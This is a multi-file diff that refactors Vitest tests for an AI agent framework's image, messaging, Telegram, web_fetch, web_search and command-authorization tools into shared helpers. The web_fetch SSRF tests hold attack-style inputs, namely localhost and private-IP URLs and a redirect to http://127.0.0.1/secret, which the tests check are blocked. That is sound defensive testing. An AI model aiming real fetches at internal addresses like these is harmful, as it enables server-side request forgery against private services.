@@ -428,29 +435,7 @@ describe("image tool MiniMax VLM routing", () => {
});
it("surfaces MiniMax API errors from /v1/coding_plan/vlm", async () => {
const fetch = vi.fn().mockResolvedValue({
ok: true,
status: 200,
statusText: "OK",
headers: new Headers(),
json: async () => ({
content: "",
base_resp: { status_code: 1004, status_msg: "bad key" },
}),
});
// @ts-expect-error partial global
global.fetch = fetch;
const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-minimax-vlm-"));
vi.stubEnv("MINIMAX_API_KEY", "minimax-test");
const cfg: OpenClawConfig = {
agents: { defaults: { model: { primary: "minimax/MiniMax-M2.1" } } },
};
const tool = createImageTool({ config: cfg, agentDir });
expect(tool).not.toBeNull();
if (!tool) {
throw new Error("expected image tool");
}
const { tool } = await createMinimaxVlmFixture({ status_code: 1004, status_msg: "bad key" });
await expect(
tool.execute("t1", {

View File

@@ -19,17 +19,22 @@ vi.mock("../../infra/outbound/message-action-runner.js", async () => {
};
});
function mockSendResult(overrides: { channel?: string; to?: string } = {}) {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: overrides.channel ?? "telegram",
...(overrides.to ? { to: overrides.to } : {}),
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
}
describe("message tool agent routing", () => {
it("derives agentId from the session key", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "telegram",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult();
const tool = createMessageTool({
agentSessionKey: "agent:alpha:main",
@@ -50,16 +55,7 @@ describe("message tool agent routing", () => {
describe("message tool path passthrough", () => {
it("does not convert path to media for send", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "telegram",
to: "telegram:123",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ to: "telegram:123" });
const tool = createMessageTool({
config: {} as never,
@@ -78,16 +74,7 @@ describe("message tool path passthrough", () => {
});
it("does not convert filePath to media for send", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "telegram",
to: "telegram:123",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ to: "telegram:123" });
const tool = createMessageTool({
config: {} as never,
@@ -164,16 +151,7 @@ describe("message tool description", () => {
describe("message tool reasoning tag sanitization", () => {
it("strips <think> tags from text field before sending", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "signal",
to: "signal:+15551234567",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ channel: "signal", to: "signal:+15551234567" });
const tool = createMessageTool({ config: {} as never });
@@ -188,16 +166,7 @@ describe("message tool reasoning tag sanitization", () => {
});
it("strips <think> tags from content field before sending", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "discord",
to: "discord:123",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ channel: "discord", to: "discord:123" });
const tool = createMessageTool({ config: {} as never });
@@ -212,16 +181,7 @@ describe("message tool reasoning tag sanitization", () => {
});
it("passes through text without reasoning tags unchanged", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "signal",
to: "signal:+15551234567",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ channel: "signal", to: "signal:+15551234567" });
const tool = createMessageTool({ config: {} as never });
@@ -238,16 +198,7 @@ describe("message tool reasoning tag sanitization", () => {
describe("message tool sandbox passthrough", () => {
it("forwards sandboxRoot to runMessageAction", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "telegram",
to: "telegram:123",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ to: "telegram:123" });
const tool = createMessageTool({
config: {} as never,
@@ -265,16 +216,7 @@ describe("message tool sandbox passthrough", () => {
});
it("omits sandboxRoot when not configured", async () => {
mocks.runMessageAction.mockClear();
mocks.runMessageAction.mockResolvedValue({
kind: "send",
action: "send",
channel: "telegram",
to: "telegram:123",
handledBy: "plugin",
payload: {},
dryRun: true,
} satisfies MessageActionRunResult);
mockSendResult({ to: "telegram:123" });
const tool = createMessageTool({
config: {} as never,

View File

@@ -22,6 +22,29 @@ vi.mock("../../telegram/send.js", () => ({
}));
describe("handleTelegramAction", () => {
const defaultReactionAction = {
action: "react",
chatId: "123",
messageId: "456",
emoji: "✅",
} as const;
function reactionConfig(reactionLevel: "minimal" | "extensive" | "off" | "ack"): OpenClawConfig {
return {
channels: { telegram: { botToken: "tok", reactionLevel } },
} as OpenClawConfig;
}
async function expectReactionAdded(reactionLevel: "minimal" | "extensive") {
await handleTelegramAction(defaultReactionAction, reactionConfig(reactionLevel));
expect(reactMessageTelegram).toHaveBeenCalledWith(
"123",
456,
"✅",
expect.objectContaining({ token: "tok", remove: false }),
);
}
beforeEach(() => {
reactMessageTelegram.mockClear();
sendMessageTelegram.mockClear();
@@ -39,24 +62,7 @@ describe("handleTelegramAction", () => {
});
it("adds reactions when reactionLevel is minimal", async () => {
const cfg = {
channels: { telegram: { botToken: "tok", reactionLevel: "minimal" } },
} as OpenClawConfig;
await handleTelegramAction(
{
action: "react",
chatId: "123",
messageId: "456",
emoji: "✅",
},
cfg,
);
expect(reactMessageTelegram).toHaveBeenCalledWith(
"123",
456,
"✅",
expect.objectContaining({ token: "tok", remove: false }),
);
await expectReactionAdded("minimal");
});
it("surfaces non-fatal reaction warnings", async () => {
@@ -64,18 +70,7 @@ describe("handleTelegramAction", () => {
ok: false,
warning: "Reaction unavailable: ✅",
});
const cfg = {
channels: { telegram: { botToken: "tok", reactionLevel: "minimal" } },
} as OpenClawConfig;
const result = await handleTelegramAction(
{
action: "react",
chatId: "123",
messageId: "456",
emoji: "✅",
},
cfg,
);
const result = await handleTelegramAction(defaultReactionAction, reactionConfig("minimal"));
const textPayload = result.content.find((item) => item.type === "text");
expect(textPayload?.type).toBe("text");
const parsed = JSON.parse((textPayload as { type: "text"; text: string }).text) as {
@@ -91,24 +86,7 @@ describe("handleTelegramAction", () => {
});
it("adds reactions when reactionLevel is extensive", async () => {
const cfg = {
channels: { telegram: { botToken: "tok", reactionLevel: "extensive" } },
} as OpenClawConfig;
await handleTelegramAction(
{
action: "react",
chatId: "123",
messageId: "456",
emoji: "✅",
},
cfg,
);
expect(reactMessageTelegram).toHaveBeenCalledWith(
"123",
456,
"✅",
expect.objectContaining({ token: "tok", remove: false }),
);
await expectReactionAdded("extensive");
});
it("removes reactions on empty emoji", async () => {
@@ -167,9 +145,7 @@ describe("handleTelegramAction", () => {
});
it("removes reactions when remove flag set", async () => {
const cfg = {
channels: { telegram: { botToken: "tok", reactionLevel: "extensive" } },
} as OpenClawConfig;
const cfg = reactionConfig("extensive");
await handleTelegramAction(
{
action: "react",
@@ -189,9 +165,7 @@ describe("handleTelegramAction", () => {
});
it("blocks reactions when reactionLevel is off", async () => {
const cfg = {
channels: { telegram: { botToken: "tok", reactionLevel: "off" } },
} as OpenClawConfig;
const cfg = reactionConfig("off");
await expect(
handleTelegramAction(
{
@@ -206,9 +180,7 @@ describe("handleTelegramAction", () => {
});
it("blocks reactions when reactionLevel is ack", async () => {
const cfg = {
channels: { telegram: { botToken: "tok", reactionLevel: "ack" } },
} as OpenClawConfig;
const cfg = reactionConfig("ack");
await expect(
handleTelegramAction(
{

View File

@@ -1,28 +1,14 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import * as ssrf from "../../infra/net/ssrf.js";
import { describe, expect, it, vi } from "vitest";
import * as logger from "../../logger.js";
import {
createBaseWebFetchToolConfig,
installWebFetchSsrfHarness,
} from "./web-fetch.test-harness.js";
import "./web-fetch.test-mocks.js";
import { createWebFetchTool } from "./web-tools.js";
// Avoid dynamic-importing heavy readability deps in this unit test suite.
vi.mock("./web-fetch-utils.js", async () => {
const actual =
await vi.importActual<typeof import("./web-fetch-utils.js")>("./web-fetch-utils.js");
return {
...actual,
extractReadableContent: vi.fn().mockResolvedValue({
title: "HTML Page",
text: "HTML Page\n\nContent here.",
}),
};
});
const lookupMock = vi.fn();
const resolvePinnedHostname = ssrf.resolvePinnedHostname;
const baseToolConfig = {
config: {
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
},
} as const;
const baseToolConfig = createBaseWebFetchToolConfig();
installWebFetchSsrfHarness();
function makeHeaders(map: Record<string, string>): { get: (key: string) => string | null } {
return {
@@ -49,22 +35,6 @@ function htmlResponse(body: string): Response {
}
describe("web_fetch Cloudflare Markdown for Agents", () => {
const priorFetch = global.fetch;
beforeEach(() => {
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) =>
resolvePinnedHostname(hostname, lookupMock),
);
});
afterEach(() => {
// @ts-expect-error restore
global.fetch = priorFetch;
lookupMock.mockReset();
vi.restoreAllMocks();
});
it("sends Accept header preferring text/markdown", async () => {
const fetchSpy = vi.fn().mockResolvedValue(markdownResponse("# Test Page\n\nHello world."));
// @ts-expect-error mock fetch

View File

@@ -1,47 +1,15 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import * as ssrf from "../../infra/net/ssrf.js";
import { describe, expect, it, vi } from "vitest";
import {
createBaseWebFetchToolConfig,
installWebFetchSsrfHarness,
} from "./web-fetch.test-harness.js";
import "./web-fetch.test-mocks.js";
import { createWebFetchTool } from "./web-tools.js";
// Avoid dynamic-importing heavy readability deps in this unit test suite.
vi.mock("./web-fetch-utils.js", async () => {
const actual =
await vi.importActual<typeof import("./web-fetch-utils.js")>("./web-fetch-utils.js");
return {
...actual,
extractReadableContent: vi.fn().mockResolvedValue({
title: "HTML Page",
text: "HTML Page\n\nContent here.",
}),
};
});
const lookupMock = vi.fn();
const resolvePinnedHostname = ssrf.resolvePinnedHostname;
const baseToolConfig = {
config: {
tools: {
web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false }, maxResponseBytes: 1024 } },
},
},
} as const;
const baseToolConfig = createBaseWebFetchToolConfig({ maxResponseBytes: 1024 });
installWebFetchSsrfHarness();
describe("web_fetch response size limits", () => {
const priorFetch = global.fetch;
beforeEach(() => {
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) =>
resolvePinnedHostname(hostname, lookupMock),
);
});
afterEach(() => {
// @ts-expect-error restore
global.fetch = priorFetch;
lookupMock.mockReset();
vi.restoreAllMocks();
});
it("caps response bytes and does not hang on endless streams", async () => {
const chunk = new TextEncoder().encode("<html><body><div>hi</div></body></html>");
const stream = new ReadableStream<Uint8Array>({

View File

@@ -28,6 +28,30 @@ function textResponse(body: string): Response {
} as Response;
}
function setMockFetch(impl?: (...args: unknown[]) => unknown) {
const fetchSpy = vi.fn(impl);
global.fetch = fetchSpy as typeof fetch;
return fetchSpy;
}
async function createWebFetchToolForTest(params?: {
firecrawl?: { enabled?: boolean; apiKey?: string };
}) {
const { createWebFetchTool } = await import("./web-tools.js");
return createWebFetchTool({
config: {
tools: {
web: {
fetch: {
cacheTtlMinutes: 0,
firecrawl: params?.firecrawl ?? { enabled: false },
},
},
},
},
});
}
describe("web_fetch SSRF protection", () => {
const priorFetch = global.fetch;
@@ -45,22 +69,9 @@ describe("web_fetch SSRF protection", () => {
});
it("blocks localhost hostnames before fetch/firecrawl", async () => {
const fetchSpy = vi.fn();
// @ts-expect-error mock fetch
global.fetch = fetchSpy;
const { createWebFetchTool } = await import("./web-tools.js");
const tool = createWebFetchTool({
config: {
tools: {
web: {
fetch: {
cacheTtlMinutes: 0,
firecrawl: { apiKey: "firecrawl-test" },
},
},
},
},
const fetchSpy = setMockFetch();
const tool = await createWebFetchToolForTest({
firecrawl: { apiKey: "firecrawl-test" },
});
await expect(tool?.execute?.("call", { url: "http://localhost/test" })).rejects.toThrow(
@@ -71,16 +82,8 @@ describe("web_fetch SSRF protection", () => {
});
it("blocks private IP literals without DNS", async () => {
const fetchSpy = vi.fn();
// @ts-expect-error mock fetch
global.fetch = fetchSpy;
const { createWebFetchTool } = await import("./web-tools.js");
const tool = createWebFetchTool({
config: {
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
},
});
const fetchSpy = setMockFetch();
const tool = await createWebFetchToolForTest();
await expect(tool?.execute?.("call", { url: "http://127.0.0.1/test" })).rejects.toThrow(
/private|internal|blocked/i,
@@ -100,16 +103,8 @@ describe("web_fetch SSRF protection", () => {
return [{ address: "10.0.0.5", family: 4 }];
});
const fetchSpy = vi.fn();
// @ts-expect-error mock fetch
global.fetch = fetchSpy;
const { createWebFetchTool } = await import("./web-tools.js");
const tool = createWebFetchTool({
config: {
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
},
});
const fetchSpy = setMockFetch();
const tool = await createWebFetchToolForTest();
await expect(tool?.execute?.("call", { url: "https://private.test/resource" })).rejects.toThrow(
/private|internal|blocked/i,
@@ -120,19 +115,11 @@ describe("web_fetch SSRF protection", () => {
it("blocks redirects to private hosts", async () => {
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
const fetchSpy = vi.fn().mockResolvedValueOnce(redirectResponse("http://127.0.0.1/secret"));
// @ts-expect-error mock fetch
global.fetch = fetchSpy;
const { createWebFetchTool } = await import("./web-tools.js");
const tool = createWebFetchTool({
config: {
tools: {
web: {
fetch: { cacheTtlMinutes: 0, firecrawl: { apiKey: "firecrawl-test" } },
},
},
},
const fetchSpy = setMockFetch().mockResolvedValueOnce(
redirectResponse("http://127.0.0.1/secret"),
);
const tool = await createWebFetchToolForTest({
firecrawl: { apiKey: "firecrawl-test" },
});
await expect(tool?.execute?.("call", { url: "https://example.com" })).rejects.toThrow(
@@ -144,16 +131,8 @@ describe("web_fetch SSRF protection", () => {
it("allows public hosts", async () => {
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
const fetchSpy = vi.fn().mockResolvedValue(textResponse("ok"));
// @ts-expect-error mock fetch
global.fetch = fetchSpy;
const { createWebFetchTool } = await import("./web-tools.js");
const tool = createWebFetchTool({
config: {
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
},
});
setMockFetch().mockResolvedValue(textResponse("ok"));
const tool = await createWebFetchToolForTest();
const result = await tool?.execute?.("call", { url: "https://example.com" });
expect(result?.details).toMatchObject({

View File

@@ -0,0 +1,49 @@
import { afterEach, beforeEach, vi } from "vitest";
import * as ssrf from "../../infra/net/ssrf.js";
export function installWebFetchSsrfHarness() {
const lookupMock = vi.fn();
const resolvePinnedHostname = ssrf.resolvePinnedHostname;
const priorFetch = global.fetch;
beforeEach(() => {
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) =>
resolvePinnedHostname(hostname, lookupMock),
);
});
afterEach(() => {
global.fetch = priorFetch;
lookupMock.mockReset();
vi.restoreAllMocks();
});
}
export function createBaseWebFetchToolConfig(opts?: { maxResponseBytes?: number }): {
config: {
tools: {
web: {
fetch: {
cacheTtlMinutes: number;
firecrawl: { enabled: boolean };
maxResponseBytes?: number;
};
};
};
};
} {
return {
config: {
tools: {
web: {
fetch: {
cacheTtlMinutes: 0,
firecrawl: { enabled: false },
...(opts?.maxResponseBytes ? { maxResponseBytes: opts.maxResponseBytes } : {}),
},
},
},
},
};
}

View File

@@ -0,0 +1,14 @@
import { vi } from "vitest";
// Avoid dynamic-importing heavy readability deps in unit test suites.
vi.mock("./web-fetch-utils.js", async () => {
const actual =
await vi.importActual<typeof import("./web-fetch-utils.js")>("./web-fetch-utils.js");
return {
...actual,
extractReadableContent: vi.fn().mockResolvedValue({
title: "HTML Page",
text: "HTML Page\n\nContent here.",
}),
};
});

View File

@@ -1,6 +1,34 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { createWebFetchTool, createWebSearchTool } from "./web-tools.js";
function installMockFetch(payload: unknown) {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve(payload),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
return mockFetch;
}
function createPerplexitySearchTool(perplexityConfig?: { apiKey?: string; baseUrl?: string }) {
return createWebSearchTool({
config: {
tools: {
web: {
search: {
provider: "perplexity",
...(perplexityConfig ? { perplexity: perplexityConfig } : {}),
},
},
},
},
sandboxed: true,
});
}
describe("web tools defaults", () => {
it("enables web_fetch by default (non-sandbox)", () => {
const tool = createWebFetchTool({ config: {}, sandboxed: false });
@@ -35,15 +63,7 @@ describe("web_search country and language parameters", () => {
});
it("should pass country parameter to Brave API", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ web: { results: [] } }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const mockFetch = installMockFetch({ web: { results: [] } });
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
expect(tool).not.toBeNull();
@@ -55,15 +75,7 @@ describe("web_search country and language parameters", () => {
});
it("should pass search_lang parameter to Brave API", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ web: { results: [] } }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const mockFetch = installMockFetch({ web: { results: [] } });
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
await tool?.execute?.(1, { query: "test", search_lang: "de" });
@@ -72,15 +84,7 @@ describe("web_search country and language parameters", () => {
});
it("should pass ui_lang parameter to Brave API", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ web: { results: [] } }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const mockFetch = installMockFetch({ web: { results: [] } });
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
await tool?.execute?.(1, { query: "test", ui_lang: "de" });
@@ -89,15 +93,7 @@ describe("web_search country and language parameters", () => {
});
it("should pass freshness parameter to Brave API", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ web: { results: [] } }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const mockFetch = installMockFetch({ web: { results: [] } });
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
await tool?.execute?.(1, { query: "test", freshness: "pw" });
@@ -106,15 +102,7 @@ describe("web_search country and language parameters", () => {
});
it("rejects invalid freshness values", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ web: { results: [] } }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const mockFetch = installMockFetch({ web: { results: [] } });
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
const result = await tool?.execute?.(1, { query: "test", freshness: "yesterday" });
@@ -134,19 +122,11 @@ describe("web_search perplexity baseUrl defaults", () => {
it("defaults to Perplexity direct when PERPLEXITY_API_KEY is set", async () => {
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: { tools: { web: { search: { provider: "perplexity" } } } },
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool();
await tool?.execute?.(1, { query: "test-openrouter" });
expect(mockFetch).toHaveBeenCalled();
@@ -161,19 +141,11 @@ describe("web_search perplexity baseUrl defaults", () => {
it("passes freshness to Perplexity provider as search_recency_filter", async () => {
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: { tools: { web: { search: { provider: "perplexity" } } } },
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool();
await tool?.execute?.(1, { query: "perplexity-freshness-test", freshness: "pw" });
expect(mockFetch).toHaveBeenCalledOnce();
@@ -184,19 +156,11 @@ describe("web_search perplexity baseUrl defaults", () => {
it("defaults to OpenRouter when OPENROUTER_API_KEY is set", async () => {
vi.stubEnv("PERPLEXITY_API_KEY", "");
vi.stubEnv("OPENROUTER_API_KEY", "sk-or-test");
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: { tools: { web: { search: { provider: "perplexity" } } } },
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool();
await tool?.execute?.(1, { query: "test-openrouter-env" });
expect(mockFetch).toHaveBeenCalled();
@@ -212,19 +176,11 @@ describe("web_search perplexity baseUrl defaults", () => {
it("prefers PERPLEXITY_API_KEY when both env keys are set", async () => {
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
vi.stubEnv("OPENROUTER_API_KEY", "sk-or-test");
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: { tools: { web: { search: { provider: "perplexity" } } } },
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool();
await tool?.execute?.(1, { query: "test-both-env" });
expect(mockFetch).toHaveBeenCalled();
@@ -233,28 +189,11 @@ describe("web_search perplexity baseUrl defaults", () => {
it("uses configured baseUrl even when PERPLEXITY_API_KEY is set", async () => {
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: {
tools: {
web: {
search: {
provider: "perplexity",
perplexity: { baseUrl: "https://example.com/pplx" },
},
},
},
},
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool({ baseUrl: "https://example.com/pplx" });
await tool?.execute?.(1, { query: "test-config-baseurl" });
expect(mockFetch).toHaveBeenCalled();
@@ -262,28 +201,11 @@ describe("web_search perplexity baseUrl defaults", () => {
});
it("defaults to Perplexity direct when apiKey looks like Perplexity", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: {
tools: {
web: {
search: {
provider: "perplexity",
perplexity: { apiKey: "pplx-config" },
},
},
},
},
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool({ apiKey: "pplx-config" });
await tool?.execute?.(1, { query: "test-config-apikey" });
expect(mockFetch).toHaveBeenCalled();
@@ -291,28 +213,11 @@ describe("web_search perplexity baseUrl defaults", () => {
});
it("defaults to OpenRouter when apiKey looks like OpenRouter", async () => {
const mockFetch = vi.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
} as Response),
);
// @ts-expect-error mock fetch
global.fetch = mockFetch;
const tool = createWebSearchTool({
config: {
tools: {
web: {
search: {
provider: "perplexity",
perplexity: { apiKey: "sk-or-v1-test" },
},
},
},
},
sandboxed: true,
const mockFetch = installMockFetch({
choices: [{ message: { content: "ok" } }],
citations: [],
});
const tool = createPerplexitySearchTool({ apiKey: "sk-or-v1-test" });
await tool?.execute?.(1, { query: "test-openrouter-config" });
expect(mockFetch).toHaveBeenCalled();

View File

@@ -7,48 +7,34 @@ const LIVE = isTruthyEnvValue(process.env.ZAI_LIVE_TEST) || isTruthyEnvValue(pro
const describeLive = LIVE && ZAI_KEY ? describe : describe.skip;
async function expectModelReturnsAssistantText(modelId: "glm-4.7" | "glm-4.7-flashx") {
const model = getModel("zai", modelId as "glm-4.7");
const res = await completeSimple(
model,
{
messages: [
{
role: "user",
content: "Reply with the word ok.",
timestamp: Date.now(),
},
],
},
{ apiKey: ZAI_KEY, maxTokens: 64 },
);
const text = res.content
.filter((block) => block.type === "text")
.map((block) => block.text.trim())
.join(" ");
expect(text.length).toBeGreaterThan(0);
}
describeLive("zai live", () => {
it("returns assistant text", async () => {
const model = getModel("zai", "glm-4.7");
const res = await completeSimple(
model,
{
messages: [
{
role: "user",
content: "Reply with the word ok.",
timestamp: Date.now(),
},
],
},
{ apiKey: ZAI_KEY, maxTokens: 64 },
);
const text = res.content
.filter((block) => block.type === "text")
.map((block) => block.text.trim())
.join(" ");
expect(text.length).toBeGreaterThan(0);
await expectModelReturnsAssistantText("glm-4.7");
}, 20000);
it("glm-4.7-flashx returns assistant text", async () => {
const model = getModel("zai", "glm-4.7-flashx" as "glm-4.7");
const res = await completeSimple(
model,
{
messages: [
{
role: "user",
content: "Reply with the word ok.",
timestamp: Date.now(),
},
],
},
{ apiKey: ZAI_KEY, maxTokens: 64 },
);
const text = res.content
.filter((block) => block.type === "text")
.map((block) => block.text.trim())
.join(" ");
expect(text.length).toBeGreaterThan(0);
await expectModelReturnsAssistantText("glm-4.7-flashx");
}, 20000);
});

View File

@@ -1,4 +1,5 @@
import { describe, expect, it } from "vitest";
import { hasBalancedFences } from "../test-utils/chunk-test-helpers.js";
import {
chunkByNewline,
chunkMarkdownText,
@@ -11,22 +12,7 @@ import {
function expectFencesBalanced(chunks: string[]) {
for (const chunk of chunks) {
let open: { markerChar: string; markerLen: number } | null = null;
for (const line of chunk.split("\n")) {
const match = line.match(/^( {0,3})(`{3,}|~{3,})(.*)$/);
if (!match) {
continue;
}
const marker = match[2];
if (!open) {
open = { markerChar: marker[0], markerLen: marker.length };
continue;
}
if (open.markerChar === marker[0] && marker.length >= open.markerLen) {
open = null;
}
}
expect(open).toBe(null);
expect(hasBalancedFences(chunk)).toBe(true);
}
}

View File

@@ -213,84 +213,48 @@ describe("resolveCommandAuthorization", () => {
});
describe("commands.allowFrom", () => {
it("uses commands.allowFrom global list when configured", () => {
const cfg = {
commands: {
allowFrom: {
"*": ["user123"],
},
const commandsAllowFromConfig = {
commands: {
allowFrom: {
"*": ["user123"],
},
channels: { whatsapp: { allowFrom: ["+different"] } },
} as OpenClawConfig;
},
channels: { whatsapp: { allowFrom: ["+different"] } },
} as OpenClawConfig;
const authorizedCtx = {
function makeWhatsAppContext(senderId: string): MsgContext {
return {
Provider: "whatsapp",
Surface: "whatsapp",
From: "whatsapp:user123",
SenderId: "user123",
From: `whatsapp:${senderId}`,
SenderId: senderId,
} as MsgContext;
}
const authorizedAuth = resolveCommandAuthorization({
ctx: authorizedCtx,
cfg,
commandAuthorized: true,
function resolveWithCommandsAllowFrom(senderId: string, commandAuthorized: boolean) {
return resolveCommandAuthorization({
ctx: makeWhatsAppContext(senderId),
cfg: commandsAllowFromConfig,
commandAuthorized,
});
}
it("uses commands.allowFrom global list when configured", () => {
const authorizedAuth = resolveWithCommandsAllowFrom("user123", true);
expect(authorizedAuth.isAuthorizedSender).toBe(true);
const unauthorizedCtx = {
Provider: "whatsapp",
Surface: "whatsapp",
From: "whatsapp:otheruser",
SenderId: "otheruser",
} as MsgContext;
const unauthorizedAuth = resolveCommandAuthorization({
ctx: unauthorizedCtx,
cfg,
commandAuthorized: true,
});
const unauthorizedAuth = resolveWithCommandsAllowFrom("otheruser", true);
expect(unauthorizedAuth.isAuthorizedSender).toBe(false);
});
it("ignores commandAuthorized when commands.allowFrom is configured", () => {
const cfg = {
commands: {
allowFrom: {
"*": ["user123"],
},
},
channels: { whatsapp: { allowFrom: ["+different"] } },
} as OpenClawConfig;
const authorizedCtx = {
Provider: "whatsapp",
Surface: "whatsapp",
From: "whatsapp:user123",
SenderId: "user123",
} as MsgContext;
const authorizedAuth = resolveCommandAuthorization({
ctx: authorizedCtx,
cfg,
commandAuthorized: false,
});
const authorizedAuth = resolveWithCommandsAllowFrom("user123", false);
expect(authorizedAuth.isAuthorizedSender).toBe(true);
const unauthorizedCtx = {
Provider: "whatsapp",
Surface: "whatsapp",
From: "whatsapp:otheruser",
SenderId: "otheruser",
} as MsgContext;
const unauthorizedAuth = resolveCommandAuthorization({
ctx: unauthorizedCtx,
cfg,
commandAuthorized: false,
});
const unauthorizedAuth = resolveWithCommandsAllowFrom("otheruser", false);
expect(unauthorizedAuth.isAuthorizedSender).toBe(false);
});

View File

@@ -171,6 +171,28 @@ describe("commands registry", () => {
});
describe("commands registry args", () => {
function createUsageModeCommand(
